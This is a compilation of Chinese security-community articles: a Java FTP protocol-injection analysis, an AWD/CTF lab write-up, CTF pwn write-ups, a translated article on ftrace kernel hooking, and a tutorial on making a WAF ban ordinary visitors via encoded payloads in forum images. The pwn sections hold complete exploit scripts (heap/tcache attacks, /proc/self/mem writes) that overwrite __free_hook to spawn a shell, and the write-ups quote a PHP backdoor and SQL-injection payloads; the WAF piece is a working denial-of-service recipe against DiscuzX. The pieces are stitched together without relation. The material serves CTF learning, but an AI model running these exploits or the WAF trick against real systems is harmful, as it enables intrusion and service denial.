var9 = this.sslFact.createSocket(var9, var4.getHostName(), var4.getPort(), true);
} catch (Exception var8) {
throw new FtpProtocolException("Can't open secure data channel: " + var8);
}
}
if (!this.issueCommand(var1)) {
var9.close();
if (this.getLastReplyCode() == FtpReplyCode.FILE_UNAVAILABLE) {
throw new FileNotFoundException(var1);
} else {
throw new FtpProtocolException(var1 + ":" + this.getResponseString(), this.getLastReplyCode());
}
} else {
return var9;
}
}
反复看openPassiveDataConnection结合原文，如果在建立被动模式时服务端返回的状态码不是229/227（见上面红色框代码片段）,则会抛出异常，异常信息EPSV…/PAV…，正好符合openDataConnection方法在处理异常时的判断：
if (!var4.startsWith("PASV") && !var4.startsWith("EPSV")) {
顺着openDataConnection方法往下看，其会拼接 EPRT | 2（1）| ip |
port，这里的ip正是我们需要的（原文说PORT命令似乎并不准确）。
于是，我参照<https://github.com/jacklam718/ftp/blob/master/ftpServer.py改造了一个ftp服务端，跑起来后本地wireshark抓包，从结果看符合猜想。>
(2) 报文对齐
由于FTP是基于行的同步协议，意味着任何一端一次写入一行，然后等待另一端响应才能再写入一行，也就是说任何一端一次只能写入一条命令。
因此，假设我们通过以下链接注入：
ftp://u:[email protected]/foodir%0APORT%2010,1,1,1,5,57/z.txt
客户端发送的报文大致如下：
USER u
\--Packet 2--
PASS p
\--Packet 3--
TYPE I
\--Packet 4--
CWD foodir
PORT 10,1,1,1,5,57
\--Packet 5--
想要我们注入的PORT命令有效，必须恰好在报文的起始位置。
显然，最直接的方式是我们可以将foodir换成足够长的字符串，这样发送CWD
foodir的报文正好能填满TCP报文的最大长度，从而将PORT命令“挤到”另一个报文。但是MTU比较大，因此在实际攻击中可能过于招眼而显得不实际。
换另一个思路，因为ftp服务端攻击者可以控制，所以可以将MTU设置足够小，这样只需少量填充。
**0x04 PoC**
在分析的时候，我做了部分实验，防火墙这一块还没有解决，一是没有现成的防火墙（应该通过软件可以模拟）；二是防火墙配置还需要进一步看。
很遗憾，我也在等作者的PoC。
**0x05 参考链接**
<http://blog.blindspotsecurity.com/>
<http://www.ietf.org/rfc/rfc959.txt>
<http://www.enyo.de/fw/security/java-firewall/>
<https://github.com/jacklam718/ftp/blob/master/ftpServer.py> | 社区文章 |
# **规则：**
这次的规则比较蛋疼，不能连网，不能使用自己的电脑，提供的工具如下：
看到这些工具，还以为会有二进制，然而二进制选手只能呵呵哒，坐着打一天酱油了。
# **AWD：**
本次AWD只有一个WEB，用的是THINKPHP 3.2.3写的DNS WEB程序；
上来SSH连接后，写了好久的PHP
WAF，但发现压根不能用，因为权限做的比较死，网站根目录下只有.key和.backdoor.php两个文件可以修改，其他文件都修改不了。
发现了几个漏洞如下：
1. 控制器search中存在SQL注入漏洞，本想直接写shell，发现压根写不了，然后放弃了。
1. download.html中提供了几个下载文件的链接，存在两个关键参数filename和token
查看download.php
从这里可以看到，是可以读取/flag文件的，但是难点就在如果获取/flag对应的token(所有队伍的.key文件是一样的，所以将.key内容修改后，就可以修复该漏洞),所以现在就是需要写出加密函数，找到/flag对应的密文,对应的加密函数如下
所以构造/dns-web/download.php?filename=/flag&token=ksvRmpjGmpaUkZPF
就可以直接读取/flag内容
1. 如果通过写加密函数，就太复杂了，花费了很多时间，并且很多队伍第一时间就将.key文件修改了，压根无法获取到/flag。所以最简单的方法就是通过.backdoor.php，这是个后门文件，内容是：
直接通过var_dump，最终的格式是：<?php @${_GET}[_GET](${_GET}\[GET_\]); ?>
利用方式
# **靶场**
靶场是每个队伍都是都有属于自己的环境，别人攻击不了，只能自己去攻击自己的服务器，找到flag
外网服务器：两台：10.1.10.1、10.1.10.2
内网服务器：三台，通过获取外网服务器的权限后，才能访问内网。
## **10.1.10.1**
开放了80和一个tomcat控制台，但tomcat控制台没爆破成功，所以就放弃了。
80端口使用的MetInfo 5.3.1，利用update注入重置了后台管理员密码
(1).登录后，页面上就一个大大的flag
(2).后台getshell，然后从服务器上找了flag
## **10.1.10.2**
扫描了端口，发现存在80和88两个端口
(1).80端口使用的IIS6.0，直接存在目录浏览漏洞，根目录下所有文件可见，但是只有图片文件(记住，这很重要)
(2).88端口使用的WeCenter
3.1.9，直接在robots.txt中找到一个flag(这里吐槽一下，这个flag在比赛刚开始时一直不对，到后面才可以)
本来以为要找wecenter的漏洞，但是然后并没有找到。
(3).80端口存在IIS PUT漏洞，直接PUT了asp，asp;.jpg等文件，然而并没有卵用。
(4).这里队友脑洞大开，意识到80端口中的图片其实是88端口里面的图片，上传到80端口的文件，在88端口也能访问。然后上传了一个php文件，不解析；接着上传php3文件，OK了，成功getshell。
(5).接着找flag，根目录下好像有一个，然后通过配置文件，连接到mysql，数据库中也有一个。
(6).最坑的提权过程了，先用UDF提权，创建了函数，并可以执行命令。因为只有“暗组工具包”，所以把工具包中的工具挨个试一便；这里面坑来了，使用工具添加了账号，开了3389，但死活登录不进去，最后将网站的账户httpd添加进管理员后，可以登录了。
(7).在administrator的桌面找到文件flag.zip，打开时，提示需要密码。发现使用了伪加密，拿到kali里面打开，直接得到flag
## **10.1.10.3，10.1.10.4**
拿到10.1.10.2的权限后，扫描到内网存在10.1.10.3和10.1.10.4两台服务器，但是时间有限，没继续做下去了。 | 社区文章 |
# 钓鱼城杯Pwn Writeup学习
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Alter@星盟
## 前言
星盟萌新，最近和师傅们一起打了钓鱼城杯比赛，虽然我实力有限全程只能划水，但师傅们太强了直接被带飞，所以赛后借着师傅们的WP复现学习了一下，把自己遇到的问题尽可能详细的写了一下，希望可以帮到和我一样的PWN新手
## 钓鱼城杯Veryeasy
UAF+tcache attack
### 1、将tcache放满的另一种方法
将一个chunk double free到tcache中之后，连续申请这个chunk
3次，tcache这条链就会被记为-1，然后再次删除这个size的chunk就会被放入unsorted bin中，如下图：
申请一次之后
以此类推，申请3次之后
此时变成-1之后应该是整数溢出，-1相当于最大的正数0xff大于7，所以下一个chunk会被放入unsorted bin中
本地关闭ASLR之后，Main arena和IO stdout居然不在一个内存页，挺神奇的。不过开启之后还是在同一个内存页的
### 2、常规分析
全保护
### 3、IDA分析
有增删改功能，但是没有show函数，所以需要修改IO stdout
* delete函数
漏洞点，显然有UAF漏洞，但是这里有一个if判断，dword_202010最开始为9，每add一次或者edit一次就会-1，dword_20204c每删除一次就会+1
### 4、利用思路
由于开启了全保护且没有show函数，所以需要通过IO
stdout泄露libc地址，但是限制了tcache的删除次数，所以通过向tcache里放7个chunk的方法行不通（其实好像也行，通过add和edit使dword_202010整数溢出就行，不过有点麻烦），所以这里采用上面说的方法，先double
free再申请3个chunk将tcache的计数器变成-1导致整数溢出，然后再次free就会放到unsorted bin中，通过edit部分写main
arena修改为IO stdout的地址，然后申请两个chunk到IO stdout
修改flags为0xfbad1887并改小writebase为0x58，泄露出libc。然后通过2次edit函数将dword_202010减为为-1整数溢出，再通过double
free chunk1申请到free hook的地址，修改为system即可，getshell
### 5、EXP：（来自haivk师傅的exp，稍有改动）
from pwn import *
#context.log_level='debug'
#p=process('./veryeasy')
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def add(idx,size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("id:\n")
p.sendline(str(idx))
p.recvuntil("please input your size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(content)
def edit(idx,content):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("id:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)
def delete(idx):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("id:\n")
p.sendline(str(idx))
def pwn():
add(0,0xf0,'a')
add(1,0x10,'a')
delete(0)
delete(0)
add(2,0xf0,'\x60')
add(3,0xf0,'\x60')
add(4,0xf0,'\x60')
delete(0)
#edit(0,'\x60\x07\xdd')
edit(0,'\x60\x97')
add(5,0xf0,'a')
#gdb.attach(p)
add(6,0xf0,p64(0xfbad1887)+p64(0)*3+'\x58')
#p.recvuntil('\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x3e82a0
print hex(libcbase)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
edit(0,'a')
edit(0,'a')
#gdb.attach(p)
delete(1)
edit(1,p64(free_hook))
add(7,0x10,'/bin/sh\x00')
add(8,0x10,p64(system))
delete(7)
p.interactive()
#pwn()
while True:
try:
p=process("./veryeasy")
pwn()
p.interactive()
except:
p.close()
print ("retrying...")
## 钓鱼城杯unknown
程序自修改解密（比较逆向）+堆溢出+tcache attack
### 1、常规分析
保护全开
### 2、IDA分析
用IDA打开后发现，里面没有什么正常的函数，无法反汇编，发现是中间有一些加密之后的指令混在函数中，导致反汇编失败。在haivk师傅的帮助下，通过IDA的动态调试，运行程序，利用程序的自修改解密，得到正常的elf文件（具体过程参照文末IDA动态调试）
* Menu函数
写得奇奇怪怪，其实就是增删改查功能
* add函数
仔细看会发现对于idx只做了上限，没有考虑下限，所以我们可以输入负数，v3是一个int类型的数，是有正负的，所以没有整数溢出，但是仔细想想会发现向ptr[-1]这个位置写就有点意思了，这个位置在ptr地址的上面
* delete函数
没有UAF，非常正常
* show函数
给了show函数，挺开心的，不同再修改IO_stdout泄露libc了
* edit函数
发现向堆中读入Size数组记录的那么多个字节
### 3、利用思路
粗看好像没有什么漏洞，但是仔细想想结合add和edit函数，会发现一个问题，add函数可以申请index为-1的chunk，查看一下ptr和Size数组的地址
发现正好相差了0x80，而0x80/8=16，正好是16个p64长度的东西，而这些地址全是用来记录chunk的size的，所以我们申请index为负数的chunk就意味着可以修改Size数组中的size的值，而edit读入的size又是根据这个数组中的size确定的，所以我们就有了一个堆溢出漏洞。
首先将一个chunk放到unsorted
bin中，用show函数泄露出libc地址，再申请index为-1的chunk，实现栈溢出，将一个free掉了的tcache
chunk的fd指针修改为free hook，在通过tcache poisioning申请得到free
hook，修改为system函数地址即可getshell
申请index=-1的chunk前后Size的变化
申请前
申请后
可以看到原本Size[15]=0，申请index=-1的chunk之后，Size[15]被修改成了堆地址，而这个值很大，所以我们可以向chunk
15中写入这么多字节的数据，实现了堆溢出，之后修改fd指针就行了
### EXP：（改编自haivk师傅的exp）
from pwn import *
context.log_level='debug'
p=process("./unknown")
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def add(idx,size):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(idx,content):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
#p.recvuntil("\n")
sleep(0.2)
p.send(content)
def show(idx):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("Your choice: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))
add(0,0x100)
for i in range(1,8):
add(i,0x100)
for i in range(1,8):
delete(i)
delete(0)
add(15,0)
add(1,0x20)
#add(9,0x30)
show(15)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=main_arena-0x3ebda0
print hex(libcbase)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
gdb.attach(p)
add('-1',0x20)
delete(1)
edit(15,'a'*0x10+p64(0)+p64(0x31)+p64(free_hook)+'\n')
add(2,0x20)
add(3,0x20)
edit(2,'/bin/sh\x00\n')
edit(3,p64(system)+'\n')
delete(2)
p.interactive()
## 钓鱼城杯Fsplayground
/proc/self/maps和/proc/self/mem的理解和利用
### 1、前置知识
#### （1）/proc目录
Linux系统内核提供了一种通过/proc文件系统，在程序运行时访问内核数据，改变内核设置的机制。/proc是一种伪文件结构，也就是说是仅存在于内存中，不存在于外存中的。/proc中一般比较重要的目录是sys，net和scsi，sys目录是可写的，可以通过它来访问和修改内核的参数。
/proc中还有一些以PID命名（进程号）的进程目录，可以读取对应进程的信息。另外还有一个/self目录，用于记录本进程的信息
#### （2）/proc/self目录
由上面的可知，我们可以通过/proc/$PID/目录来获得该进程的信息，但是这个方法需要知道进程的PID是多少，在fork、daemon等情况下，PID可能还会发生变化。所以Linux提供了self目录，来解决这个问题，这个目录比较独特，不同的进程来访问获得的信息是不同的，内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息，不需要知道PID
#### （3）/proc/self/maps
这个文件用于记录当前进程的内存映射关系，类似于gdb下的vmmap指令，通过读取该文件可以获得内存代码段基地址
#### （4）/proc/self/mem
该文件记录的是进程的内存信息，通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的，但是如果直接读的话就会出现下面的报错
需要结合maps的映射信息来确定读的偏移值，无法读取未被映射的区域，只有读取的偏移值是被映射的区域才能正确读取出内容。
也可以通过写入mem文件来直接写入内存，例如直接修改代码段写入shellcode等
### 2、常规分析
保护全开
### 3、IDA分析
* menu函数
发现是一个文件读写系统
* open函数
读取的文件名不可以包含flag字符串，所以无法直接读取flag，但是会发现只有这一个限制，所以我们可以打开除包含flag字节在内的任意文件，然后还要两个选项可以选择文件打开的状态，只读或者读写。然后只能同时打开一个文件
* close函数
把打开的文件关闭
* seek函数
可以切换文件中指针的位置，实现该文件任意位置的读写
* read函数
将文件中的内容读出，并打印到终端
* write函数
将终端输入写入到文件中
### 4、利用思路
因为无法打开flag随意不能直接读取flag，要想办法getshell。根据Linux的知识可知，/proc/self/maps中有内存映射关系，可以泄露libc地址，然后通过修改/proc/self/mem可以直接修改程序内存。所以思路就是打开/proc/self/maps文件读取libc地址，然后通过/proc/self/mem将free
hook修改为system的地址。因为上边的write中使用了free函数并将我们输入的内容作为参数释放，所以我们可以直接在我们输入的内容中就布置/bin/sh参数
### EXP：（来自NU1l战队的wp，稍作修改）
from pwn import *
context.log_level='debug'
p=process("./fsplayground")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def openfile(name,option):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Filename: ")
p.sendline(str(name))
p.recvuntil("Option: ")
p.sendline(str(option))
def closefile():
p.recvuntil("Your choice: ")
p.sendline('2')
def seekfile(offset):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Offset: ")
p.sendline(str(offset))
def readfile(size):
p.recvuntil("Your choice: ")
p.sendline('4')
p.recvuntil("Size: ")
p.sendline(str(size))
def writefile(size,content):
p.recvuntil("Your choice: ")
p.sendline('5')
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)
openfile("/proc/self/maps\x00",0)
readfile(0x1000)
r=p.recvuntil("6. exit").splitlines()#这里将maps中的内容全部读入，然后用splitlines分成一行行，再通过循环寻找libc-2.27也就是libc的基地址那行，找到之后打印出来
find=''
for i in r:
if 'libc-2.27.so' in i and 'r-xp' in i:
find=i
break
print (find)
libcbase=int(find[:12],16)
print hex(libcbase)
closefile()
openfile("/proc/self/mem\x00",1)
seekfile(libcbase+libc.sym["__free_hook"]-8)
writefile(0x10,'/bin/sh\x00'+p64(libcbase+libc.sym['system']))
p.interactive()
参考链接:
<https://www.jianshu.com/p/3fba2e5b1e17>
<https://blog.csdn.net/dillanzhou/article/details/82876575>
## IDA动态调试
IDA Pro非常强大，可以动态调试，之前一直都不太会使用，一直都是用的gdb，虽然现在会了之后还是觉得gdb比较好用2333
在钓鱼城杯的一道题中从haivk师傅那里得知了IDA动态调试的方法，可以用来解决一些程序无法直接反汇编的问题。可以尝试使用IDA动态调试，利用程序自修改解密，拿到正常的代码
### 1、IDA动态调试步骤（以Windows下为例）
用IDA调试ELF文件，是无法完全独立依靠Windows完成的，需要一个Linux虚拟机
（1）
首先将在Windows中的IDA文件夹里找出linux_server（64）这两个运行程序，然后将其复制到Linux中
（2）
在Linux中sudo 运行Linux_server，如果64位程序就选64位的server。
（3）
打开IDA将需要分析的bin文件拖入到IDA中，并在debugger—>selete debugger中选择remote Linux debugger
上一步完成之后，debugger就会变成下图这样，选择process options
接下来这一步很关键，很大程度上决定了能不能调试成功
在application和input
file中都要填入Linux中elf文件的路径（包括程序），在dir中填入elf文件所在的文件夹路径，hostname这里需要写入Linux的ip地址，由于我做了端口映射，所以我直接填入localhost。确定即可
（4）
接下去选择start process或者选择attach to
process，如果我们选择了attach这一步，那就需要在Linux中先运行要调试的程序，然后attach到这个程序的进程上即可。（两个效果不一定一样，一个远程一个本地）
（5）
接下去基本上就是正常的调试了，虽然我不太会
需要注意的是，如果该程序是自修改解密的，那么解密之后的那部分数据依然是以数据的形式存在在文件中的，所以我们需要使用c（code）指令将这段数据强制转换成代码，之后create
function就可以正常F5了
## 总结：
感谢haivk师傅的讲解，感觉自己在逆向方面了解的比较少，对Linux系统内部一些实现不够了解，希望可以跟着星盟的师傅们学习，也欢迎其他师傅们加入星盟 | 社区文章 |
本文是[《Hooking Linux Kernel Functions, Part 3: What Are the Main Pros and Cons
of Ftrace?》](https://www.apriorit.com/dev-blog/547-hooking-linux-functions-3)的翻译文章。
# 前言
Ftrace是一个Linux实例程序，通常用于跟踪内核函数。 但是，当我们寻找一个有用的解决方案，允许我们启用系统活动监控和阻止可疑进程时，发现Linux
ftrace也可用于钩子函数调用。
这是本系列文章的最后一部分，本系列共分三部分，主要讨论如何使用ftrace来hook
Linux内核函数。在本文中，我们将重点讨论ftrace的主要优缺点，并描述在用ftrace hooking
Linux内核函数时所遇到的一些意外情况。阅读本系列文章的[第一部分](https://xz.aliyun.com/t/2947)，了解其他四种可用于hooking
Linux内核函数调用的方法。你在想:什么是ftrace?ftrace是如何工作的?那么请参阅本系列的[第二部分](https://xz.aliyun.com/t/2948)，以获得这些问题的答案，并了解关于如何使用ftrace来hooking
Linux内核函数。
# 使用ftrace的利弊
Ftrace使Linux内核函数更容易hook，并具有几个关键优势：
* 一个成熟的API和简单的代码。在内核中利用现成的接口大大降低了代码的复杂性。只需要进行两个函数调用，填充两个结构字段，并在回调中添加一些magic，就可以用ftrace来hook内核函数。剩下的代码只是围绕跟踪函数执行的事件逻辑。
* 能够根据名称跟踪任何函数。使用ftrace跟踪Linux内核是一个相当简单的过程——用常规字符串编写函数名就足够指向你需要的函数名了。不需要纠结于链接器、扫描内存或研究内部内核数据结构。只要知道它们的名称，就可以使用ftrace跟踪内核函数，即使这些函数没有为模块导出。
但就像我们在本系列中描述的其他方法一样，ftrace有一些缺点。
* 内核配置要求。 确保成功进行Linux内核跟踪需要几个内核要求：
\-- 用于按名称搜索功能的kallsyms符号列表
\-- 用于执行跟踪的整个ftrace框架
\-- Ftrace选项对钩子函数来说至关重要
所有这些功能都可以在内核配置中禁用，因为它们对系统的运行并不重要。
但是，通常流行发行版使用的内核仍然包含所有这些内核选项，因为它们不会显着影响系统性能，并且可能对调试很有用。
但是，如果你需要支持某些特定的内核，最好还是记住这些要求。
* 开销成本。因为ftrace不使用断点，所以它的开销比kprobes低。但是，这种方法的开销比手工拼接要高。实际上，动态ftrace是拼接的变体，它执行了不必要的ftrace代码和其他回调。
* 函数被包装成一个整体。与通常的拼接一样，ftrace将函数包装为一个整体。虽然从技术上讲，拼接可以在函数的任何部分执行，但ftrace只在入口点工作。你可以将这种限制视为一种缺点，但通常它不会引起任何并发症。
* 双重调用ftrace。正如我们之前解释过的，使用parent_ip指针进行分析会导致对同一个钩子函数调用两次ftrace。这增加了一些间接成本，并可能干扰其他跟踪的读取，因为他们将看到两次的调用。这个问题可以通过将原来的函数地址移动5个字节(调用指令的长度)来解决，这样基本上就可以在ftrace上跳转了。
让我们仔细分析这些缺点。
# 内核配置要求
内核必须同时支持ftrace和kallsyms。这需要启用两个配置选项:
* CONFIG_FTRACE
* CONFIG_KALLSYMS
接下来，ftrace必须支持动态寄存器修改，开启以下选项:
* CONFIG_DYNAMIC_FTRACE_WITH_REGS
要访问FTRACE_OPS_FL_IPMODIFY标志，你使用的内核必须基于版本3.19或更高版本。旧的内核版本仍然可以修改%rip寄存器，但是在版本3.19中，只有在设置标志之后才能修改这个寄存器。在较老版本的内核中，出现此标志将导致编译错误。在较新的版本中，缺失这个标志意味着一个non-operating hook。
最后但并非最不重要的是，我们需要注意函数内部的ftrace调用位置。 ftrace调用必须位于函数的开头，在函数序言之前（形成堆栈帧并分配局部变量的空间）。
以下选项考虑了此功能：
* CONFIG_HAVE_FENTRY
虽然x86_64架构支持这个选项，但i386架构不支持。由于i386架构的ABI限制，编译器不能在函数序言之前插入ftrace调用。因此，当你执行ftrace调用时，函数堆栈已经被修改了，并且更改寄存器的值不足以hook函数。并且还需要撤消在序言中执行的操作，这些操作在不同的函数中有所不同。
这就是为什么ftrace函数hooking不支持32位x86体系结构。从理论上讲，你仍然可以通过生成和执行反序言来实现此方法，但是它将显著提高技术复杂性。
# 使用ftrace时的意外情况
在测试阶段，我们面临一个特殊的特性:在某些发行版上hook函数会导致系统永久挂起。当然，这个问题只发生在与开发人员使用的系统不同的系统上。我们也无法在任何发行版或内核版本上重现初始hooking原型的问题。
经调试，系统断在了钩子函数里。由于一些未知的原因，当在ftrace回调中调用原函数时，parent_ip仍然指向内核而不是函数包装器。这就启动了一个死循环，ftrace一遍又一遍地调用我们的包装器，而没有做任何有用的事情。
幸运的是，我们有错误的和有效的代码，最终发现了问题的原因。我们统一了代码并去掉了我们现在不需要的部分，并使包装器函数代码的两个版本之间的差异缩小了。
这是稳定的代码：
static asmlinkage long fh_sys_execve(const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp)
{
long ret;
pr_debug("execve() called: filename=%p argv=%p envp=%p\n",
filename, argv, envp);
ret = real_sys_execve(filename, argv, envp);
pr_debug("execve() returns: %ld\n", ret);
return ret;
}
这是导致系统挂起的代码:
static asmlinkage long fh_sys_execve(const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp)
{
long ret;
pr_devel("execve() called: filename=%p argv=%p envp=%p\n",
filename, argv, envp);
ret = real_sys_execve(filename, argv, envp);
pr_devel("execve() returns: %ld\n", ret);
return ret;
}
日志级别如何影响系统行为？ 令人惊讶的是，当我们仔细研究这两个函数的机器代码时，我们发现这些问题背后的原因是编译器。
结果是，pr_devel()调用被扩展为no-op。这个printk-macro版本用于开发阶段的日志记录。由于这些日志在操作阶段没有任何意义，系统会自动将它们从代码中删除，除非你激活了DEBUG宏。之后，编译器会看到这样的函数:
static asmlinkage long fh_sys_execve(const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp)
{
return real_sys_execve(filename, argv, envp);
}
这就是优化的阶段。在我们的示例中，激活了所谓的尾部调用优化。如果一个函数调用另一个函数并立即返回它的值，这种优化让编译器可以用更直接的跳转到函数的主体来替换函数调用指令。这就是这个调用在机器代码中的样子:
0000000000000000 <fh_sys_execve>:
0: e8 00 00 00 00 callq 5 <fh_sys_execve+0x5>
5: ff 15 00 00 00 00 callq *0x0(%rip)
b: f3 c3 repz retq </fh_sys_execve>
这是一个失败调用的例子：
0000000000000000 <fh_sys_execve>:
0: e8 00 00 00 00 callq 5 <fh_sys_execve+0x5>
5: 48 8b 05 00 00 00 00 mov 0x0(%rip),%rax
c: ff e0 jmpq *%rax </fh_sys_execve>
第一个调用指令与编译器在所有函数的开头插入的 **fentry**
()调用完全相同。但在那之后，坏代码和稳定代码的行为就不同了。在稳定的代码中，我们可以看到调用指令执行的real_sys_execve调用(通过存储在内存中的指针)，在RET指令的帮助下，后面是fh_sys_execve()。然而，在坏代码中，直接跳转到JMP执行的real_sys_execve()函数。
尾部调用优化允许你通过不分配包含call指令存储在堆栈中的返回地址的无用堆栈帧来节省一些时间。但是，由于我们使用parent_ip来决定是否需要hook，因此返回地址的准确性对我们来说至关重要。经过优化后，fh_sys_execve()函数不再将新地址保存在堆栈中，因此只有旧地址指向内核。这就是为什么parent_ip一直指向内核内部，而那个死循环一开始就出现了。
这也是问题仅出现在某些发行版上的主要原因。 不同的发行版使用不同的编译标志集来编译模块。 在所有问题分布中，尾调用优化默认是开启的。
我们通过使用包装器函数关闭整个文件的尾部调用优化来解决这个问题:
# pragma GCC优化(“-fno-optimize-sibling-calls”)
至于进一步的hooking实验，你可以使用[GitHub](https://github.com/ilammy/ftrace-hook)的完整内核模块代码。
# 结论
虽然开发人员通常使用ftrace来跟踪Linux内核函数调用，但这个实例程序本身对于Hooking
Linux内核函数也非常有用。尽管这种方法有一些缺点，但它给了你一个关键的好处:代码和hook过程的整体简单性。 | 社区文章 |
# 利用WAF进行拒绝服务攻击
* `BaoGuo` (CleverBao)
* 经评论指出，18年时已经有人发现过此类问题，因此去掉原创。
* 但是我测试发现的时候，是在视频网站自定义用户头像的地方，在视频下方评论，触发waf，最后延伸到dz这类论坛站点自定义文章图片。
## 一、拒绝服务攻击
* 拒绝服务攻击，英文名称是Denial of Service.
* 简称DOS，即拒绝服务,造成其攻击行为被称为DoS攻击，其目的是使计算机或网络无法提供正常的服务。
* 最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络，使得所有可用网络资源都被消耗殆尽, 最后导致合法的用户请求无法通过。
#### 常规的dos攻击
> 由黑客控制多台服务器，让这多台服务器同时去请求一个目标机器，导致目标资源耗尽。
## 二、WAF
* 也称为：网站应用级入侵防御系统。英文：Web Application Firewall，简称： WAF
* Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
#### 常见的WAF的防御原理
> 当黑客进行攻击时，所有的流量会被转移到WAF设备中进行清洗或者拦截，最终只把正常用户的请求转发给服务器。
#### 常见WAF分类及厂商
> 1.云waf
云Waf是近年来随着云计算的推动衍生出来的新产品，云WAF，也称WEB应用防火墙的云模式，这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备，就可以对网站实施安全防护，它的主要实现方式是利用DNS技术，通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测，如存在异常请求则进行拦截否则将请求转发至真实服务器。
> 2.Web防护软件
软件Waf则是安装在需要防护的服务器上，实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。
> 3.硬件Web防火墙
硬件Waf通常的安装方式是将Waf串行部署在Web服务器前端，用于检测、阻断异常流量。常规硬件Waf的实现方式是通过代理技术代理来自外部的流量，并对请求包进行解析，通过安全规则库的攻击规则进行匹配，如成功匹配规则库中的规则，则识别为异常并进行请求阻断。
> 常见国内的waf厂商请参考:
[常见厂商WAF列表](https://zhuanlan.zhihu.com/p/109417896)
#### 常见WAF功能
> 拦截恶意攻击
>
> webshell扫描
>
> IP黑白名单
>
> 等等
## 三、利用WAf进行拒绝服务攻击
### 危害：
>
> 利用WAF进行拒绝服务攻击，当任意用户访问目标页面（有时可以是网站首页），浏览器将自动发送恶意攻击流量，服务器端将触发WAF规则，造成用户IP被封禁。最终所有触发WAF的用户将无法访问目标服务器。
>
> 这种攻击方式，不需要大量的肉鸡，不影响目标服务运行，但是可以让用户无法访问服务。
### 原理：
#### WAF的一个功能`IP黑名单`
>
> 开启高频Web攻击IP自动封禁功能，使WAF自动检测并封禁在短时间内进行多次Web攻击的客户端IP；被封禁IP在封禁时间内的请求将被直接拦截，封禁时间过后自动解除封禁。开启防护后，您可以自定义防护策略；（此功能需要管理员开启）。[阿里云](https://help.aliyun.com/document_detail/111556.html)
>
> IP临时黑名单，当检测到目标在60秒内非法访问1次后，封禁IP（此功能需要管理员开启）。[安全狗](http://free.safedog.cn/update_log_website.html)
> IP封禁，检测到目标IP进行攻击，就封禁IP（此功能需要管理员开启）。[创宇盾](https://www.365cyd.com/)
> 其他的带有封禁IP功能的WAF...
#### 利用浏览器自动加载图片、js、css等静态资源的特性，诱导用户自动发送恶意请求到WAF，导致自己被WAF封禁IP。（类似于CSRF）
* 利用思路
* 在网站中查找可以进行控制的静态资源链接
* 修改资源链接，让其包含恶意攻击payload，比如`and 1=1`
* 让静态资源链接展示在网站显眼的位置，让普通用户打开网站就自动加载静态资源
* 浏览器自动请求恶意链接，触发WAF规则，导致正常用户IP被封禁
> 利用时有一个问题，修改静态资源链接时，需要把攻击payload加入到链接中，如果直接写并且发送到服务器中会触发WAF规则，修改失败。
>
> 此处利用WAF的一个检测顺序问题，在把payload加入到链接时进行为此url编码，比如`imgurl=a.com/and
> 1=1.jpg`，进行双url编码`imgurl=a.com/and%25201%253d1.jpg`，此时可以过WAF检测，服务器在收到后会进行url解码，变成`imgurl=a.com/and%201%3d1.jpg`，此时网站在显示图片时就是`imgurl=a.com/and%201%3d1.jpg`
>
>
> 然后普通用户浏览器在加载图片时，就会发送一个get请求，请求内包含`a.com/and%201%3d1.jpg`，此时会触发WAF规则，进行封禁IP。如果WAF规则是需要多次攻击触发，就可以尝试修改多个静态资源。
### 实例：利用WAF拒绝服务DiscuzX
> 主机安装安全狗web网站apache版，开启IP临时黑白名单功能，对于进行攻击的IP进行5分钟的封禁。
> 主机中搭建DiscuzX网站，在DiscuzX中存在大量可以进行自定义的图片。
> 通过在自定义的网络图片中，添加大量的双url编码后的攻击payload，进行攻击。
* 使用dz的纯文本模式，直接写payload
* 使用burp抓包
* 在burp中对img地址进行双url编码
* 此处的payload可以是任意的能够触发waf规则的恶意代码，进行双url编码。
* 发送到服务器后会进行url解码一次，存储到数据库中就是`http://192.168.1.217/a.php?id=and%201%3D1.jpg`，浏览器中进行加载的就是`http://192.168.1.217/a.php?id=and 1=1.jpg`。
> 发送完成之后，任意的普通用户访问此帖子后，会触发WAF规则，进行封禁。
* 普通用户可以正常访问目标网站
* 但是当它访问了恶意帖子后，他的IP被封禁
* 在这种攻击方式中，任何访问次帖子的计算机都会被封禁IP。
## 四、漏洞防御
* 网站管理员尽量不要使用封禁IP的功能，可以选择直接进行拦截。
* WAF厂商可以考虑升级一下规则。 | 社区文章 |
## 前言
